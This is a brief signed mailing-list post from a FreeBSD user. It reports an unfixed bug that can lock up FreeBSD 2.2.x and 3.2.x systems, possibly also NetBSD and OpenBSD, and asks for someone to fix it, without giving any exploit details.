-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This was first posted to the FreeBSD security list on the 9th of August, subsequently discussed on freebsd-stable and freebsd-hackers... no one seems to care, even though it is able to lock up 2.2.6, 2.2.8, and 3.2.x machines consistantly. I have also been told that it affects NetBSD and OpenBSD, though I haven't confirmed it. Someone with the know-how care to fix? L.
